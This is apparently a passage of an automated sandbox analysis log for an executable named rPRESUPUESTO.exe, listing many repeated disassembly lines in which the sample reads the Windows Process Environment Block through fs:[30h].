Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018847A0 mov eax, dword ptr fs:[00000030h]	5_2_018847A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0750 mov eax, dword ptr fs:[00000030h]	5_2_017D0750
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018507C3 mov eax, dword ptr fs:[00000030h]	5_2_018507C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185E7E1 mov eax, dword ptr fs:[00000030h]	5_2_0185E7E1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0710 mov eax, dword ptr fs:[00000030h]	5_2_017D0710
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C700 mov eax, dword ptr fs:[00000030h]	5_2_0180C700
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D47FB mov eax, dword ptr fs:[00000030h]	5_2_017D47FB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D47FB mov eax, dword ptr fs:[00000030h]	5_2_017D47FB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01800710 mov eax, dword ptr fs:[00000030h]	5_2_01800710
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F27ED mov eax, dword ptr fs:[00000030h]	5_2_017F27ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F27ED mov eax, dword ptr fs:[00000030h]	5_2_017F27ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F27ED mov eax, dword ptr fs:[00000030h]	5_2_017F27ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C720 mov eax, dword ptr fs:[00000030h]	5_2_0180C720
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C720 mov eax, dword ptr fs:[00000030h]	5_2_0180C720
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184C730 mov eax, dword ptr fs:[00000030h]	5_2_0184C730
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180273C mov eax, dword ptr fs:[00000030h]	5_2_0180273C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180273C mov ecx, dword ptr fs:[00000030h]	5_2_0180273C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180273C mov eax, dword ptr fs:[00000030h]	5_2_0180273C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DC7C0 mov eax, dword ptr fs:[00000030h]	5_2_017DC7C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180674D mov esi, dword ptr fs:[00000030h]	5_2_0180674D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180674D mov eax, dword ptr fs:[00000030h]	5_2_0180674D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180674D mov eax, dword ptr fs:[00000030h]	5_2_0180674D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01854755 mov eax, dword ptr fs:[00000030h]	5_2_01854755
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812750 mov eax, dword ptr fs:[00000030h]	5_2_01812750
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812750 mov eax, dword ptr fs:[00000030h]	5_2_01812750
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D07AF mov eax, dword ptr fs:[00000030h]	5_2_017D07AF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185E75D mov eax, dword ptr fs:[00000030h]	5_2_0185E75D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C6A6 mov eax, dword ptr fs:[00000030h]	5_2_0180C6A6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018066B0 mov eax, dword ptr fs:[00000030h]	5_2_018066B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EC640 mov eax, dword ptr fs:[00000030h]	5_2_017EC640
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A6C7 mov ebx, dword ptr fs:[00000030h]	5_2_0180A6C7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A6C7 mov eax, dword ptr fs:[00000030h]	5_2_0180A6C7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D262C mov eax, dword ptr fs:[00000030h]	5_2_017D262C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE627 mov eax, dword ptr fs:[00000030h]	5_2_017EE627
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018506F1 mov eax, dword ptr fs:[00000030h]	5_2_018506F1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018506F1 mov eax, dword ptr fs:[00000030h]	5_2_018506F1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E260B mov eax, dword ptr fs:[00000030h]	5_2_017E260B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0184E6F2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0184E6F2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0184E6F2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0184E6F2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E609 mov eax, dword ptr fs:[00000030h]	5_2_0184E609
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812619 mov eax, dword ptr fs:[00000030h]	5_2_01812619
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01806620 mov eax, dword ptr fs:[00000030h]	5_2_01806620
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01808620 mov eax, dword ptr fs:[00000030h]	5_2_01808620
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A660 mov eax, dword ptr fs:[00000030h]	5_2_0180A660
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A660 mov eax, dword ptr fs:[00000030h]	5_2_0180A660
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189866E mov eax, dword ptr fs:[00000030h]	5_2_0189866E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189866E mov eax, dword ptr fs:[00000030h]	5_2_0189866E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4690 mov eax, dword ptr fs:[00000030h]	5_2_017D4690
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4690 mov eax, dword ptr fs:[00000030h]	5_2_017D4690
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01802674 mov eax, dword ptr fs:[00000030h]	5_2_01802674
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F6962 mov eax, dword ptr fs:[00000030h]	5_2_017F6962
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F6962 mov eax, dword ptr fs:[00000030h]	5_2_017F6962
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F6962 mov eax, dword ptr fs:[00000030h]	5_2_017F6962
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018589B3 mov esi, dword ptr fs:[00000030h]	5_2_018589B3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018589B3 mov eax, dword ptr fs:[00000030h]	5_2_018589B3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018589B3 mov eax, dword ptr fs:[00000030h]	5_2_018589B3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018669C0 mov eax, dword ptr fs:[00000030h]	5_2_018669C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018049D0 mov eax, dword ptr fs:[00000030h]	5_2_018049D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189A9D3 mov eax, dword ptr fs:[00000030h]	5_2_0189A9D3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8918 mov eax, dword ptr fs:[00000030h]	5_2_017C8918
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8918 mov eax, dword ptr fs:[00000030h]	5_2_017C8918
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185E9E0 mov eax, dword ptr fs:[00000030h]	5_2_0185E9E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018029F9 mov eax, dword ptr fs:[00000030h]	5_2_018029F9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018029F9 mov eax, dword ptr fs:[00000030h]	5_2_018029F9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E908 mov eax, dword ptr fs:[00000030h]	5_2_0184E908
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E908 mov eax, dword ptr fs:[00000030h]	5_2_0184E908
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185C912 mov eax, dword ptr fs:[00000030h]	5_2_0185C912
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA9D0 mov eax, dword ptr fs:[00000030h]	5_2_017DA9D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0186892B mov eax, dword ptr fs:[00000030h]	5_2_0186892B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185892A mov eax, dword ptr fs:[00000030h]	5_2_0185892A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01850946 mov eax, dword ptr fs:[00000030h]	5_2_01850946
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4940 mov eax, dword ptr fs:[00000030h]	5_2_018A4940
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D09AD mov eax, dword ptr fs:[00000030h]	5_2_017D09AD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D09AD mov eax, dword ptr fs:[00000030h]	5_2_017D09AD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0 mov eax, dword ptr fs:[00000030h]	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0181096E mov eax, dword ptr fs:[00000030h]	5_2_0181096E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0181096E mov edx, dword ptr fs:[00000030h]	5_2_0181096E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0181096E mov eax, dword ptr fs:[00000030h]	5_2_0181096E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185C97C mov eax, dword ptr fs:[00000030h]	5_2_0185C97C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01874978 mov eax, dword ptr fs:[00000030h]	5_2_01874978
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01874978 mov eax, dword ptr fs:[00000030h]	5_2_01874978
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185C89D mov eax, dword ptr fs:[00000030h]	5_2_0185C89D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4859 mov eax, dword ptr fs:[00000030h]	5_2_017D4859
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4859 mov eax, dword ptr fs:[00000030h]	5_2_017D4859
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E2840 mov ecx, dword ptr fs:[00000030h]	5_2_017E2840
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov eax, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov eax, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov eax, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov ecx, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov eax, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2835 mov eax, dword ptr fs:[00000030h]	5_2_017F2835
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A08C0 mov eax, dword ptr fs:[00000030h]	5_2_018A08C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189A8E4 mov eax, dword ptr fs:[00000030h]	5_2_0189A8E4
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C8F9 mov eax, dword ptr fs:[00000030h]	5_2_0180C8F9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C8F9 mov eax, dword ptr fs:[00000030h]	5_2_0180C8F9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185C810 mov eax, dword ptr fs:[00000030h]	5_2_0185C810
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A830 mov eax, dword ptr fs:[00000030h]	5_2_0180A830
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187483A mov eax, dword ptr fs:[00000030h]	5_2_0187483A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187483A mov eax, dword ptr fs:[00000030h]	5_2_0187483A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE8C0 mov eax, dword ptr fs:[00000030h]	5_2_017FE8C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01800854 mov eax, dword ptr fs:[00000030h]	5_2_01800854
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866870 mov eax, dword ptr fs:[00000030h]	5_2_01866870
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866870 mov eax, dword ptr fs:[00000030h]	5_2_01866870
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185E872 mov eax, dword ptr fs:[00000030h]	5_2_0185E872
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185E872 mov eax, dword ptr fs:[00000030h]	5_2_0185E872
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0887 mov eax, dword ptr fs:[00000030h]	5_2_017D0887
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CCB7E mov eax, dword ptr fs:[00000030h]	5_2_017CCB7E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8B50 mov eax, dword ptr fs:[00000030h]	5_2_017C8B50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01884BB0 mov eax, dword ptr fs:[00000030h]	5_2_01884BB0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01884BB0 mov eax, dword ptr fs:[00000030h]	5_2_01884BB0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187EBD0 mov eax, dword ptr fs:[00000030h]	5_2_0187EBD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FEB20 mov eax, dword ptr fs:[00000030h]	5_2_017FEB20
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FEB20 mov eax, dword ptr fs:[00000030h]	5_2_017FEB20
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185CBF0 mov eax, dword ptr fs:[00000030h]	5_2_0185CBF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FEBFC mov eax, dword ptr fs:[00000030h]	5_2_017FEBFC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4B00 mov eax, dword ptr fs:[00000030h]	5_2_018A4B00
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8BF0 mov eax, dword ptr fs:[00000030h]	5_2_017D8BF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8BF0 mov eax, dword ptr fs:[00000030h]	5_2_017D8BF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8BF0 mov eax, dword ptr fs:[00000030h]	5_2_017D8BF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184EB1D mov eax, dword ptr fs:[00000030h]	5_2_0184EB1D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01898B28 mov eax, dword ptr fs:[00000030h]	5_2_01898B28
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01898B28 mov eax, dword ptr fs:[00000030h]	5_2_01898B28
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0BCD mov eax, dword ptr fs:[00000030h]	5_2_017D0BCD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0BCD mov eax, dword ptr fs:[00000030h]	5_2_017D0BCD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0BCD mov eax, dword ptr fs:[00000030h]	5_2_017D0BCD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F0BCB mov eax, dword ptr fs:[00000030h]	5_2_017F0BCB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F0BCB mov eax, dword ptr fs:[00000030h]	5_2_017F0BCB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F0BCB mov eax, dword ptr fs:[00000030h]	5_2_017F0BCB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0BBE mov eax, dword ptr fs:[00000030h]	5_2_017E0BBE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0BBE mov eax, dword ptr fs:[00000030h]	5_2_017E0BBE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01884B4B mov eax, dword ptr fs:[00000030h]	5_2_01884B4B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01884B4B mov eax, dword ptr fs:[00000030h]	5_2_01884B4B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01878B42 mov eax, dword ptr fs:[00000030h]	5_2_01878B42
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866B40 mov eax, dword ptr fs:[00000030h]	5_2_01866B40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866B40 mov eax, dword ptr fs:[00000030h]	5_2_01866B40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189AB40 mov eax, dword ptr fs:[00000030h]	5_2_0189AB40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187EB50 mov eax, dword ptr fs:[00000030h]	5_2_0187EB50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A2B57 mov eax, dword ptr fs:[00000030h]	5_2_018A2B57
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A2B57 mov eax, dword ptr fs:[00000030h]	5_2_018A2B57
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A2B57 mov eax, dword ptr fs:[00000030h]	5_2_018A2B57
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A2B57 mov eax, dword ptr fs:[00000030h]	5_2_018A2B57
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4A80 mov eax, dword ptr fs:[00000030h]	5_2_018A4A80
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01808A90 mov edx, dword ptr fs:[00000030h]	5_2_01808A90
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0A5B mov eax, dword ptr fs:[00000030h]	5_2_017E0A5B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0A5B mov eax, dword ptr fs:[00000030h]	5_2_017E0A5B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01826AA4 mov eax, dword ptr fs:[00000030h]	5_2_01826AA4
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6A50 mov eax, dword ptr fs:[00000030h]	5_2_017D6A50
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F4A35 mov eax, dword ptr fs:[00000030h]	5_2_017F4A35
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F4A35 mov eax, dword ptr fs:[00000030h]	5_2_017F4A35
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01826ACC mov eax, dword ptr fs:[00000030h]	5_2_01826ACC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01826ACC mov eax, dword ptr fs:[00000030h]	5_2_01826ACC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01826ACC mov eax, dword ptr fs:[00000030h]	5_2_01826ACC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01804AD0 mov eax, dword ptr fs:[00000030h]	5_2_01804AD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01804AD0 mov eax, dword ptr fs:[00000030h]	5_2_01804AD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FEA2E mov eax, dword ptr fs:[00000030h]	5_2_017FEA2E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180AAEE mov eax, dword ptr fs:[00000030h]	5_2_0180AAEE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180AAEE mov eax, dword ptr fs:[00000030h]	5_2_0180AAEE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185CA11 mov eax, dword ptr fs:[00000030h]	5_2_0185CA11
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180CA24 mov eax, dword ptr fs:[00000030h]	5_2_0180CA24
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0AD0 mov eax, dword ptr fs:[00000030h]	5_2_017D0AD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180CA38 mov eax, dword ptr fs:[00000030h]	5_2_0180CA38
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8AA0 mov eax, dword ptr fs:[00000030h]	5_2_017D8AA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8AA0 mov eax, dword ptr fs:[00000030h]	5_2_017D8AA0
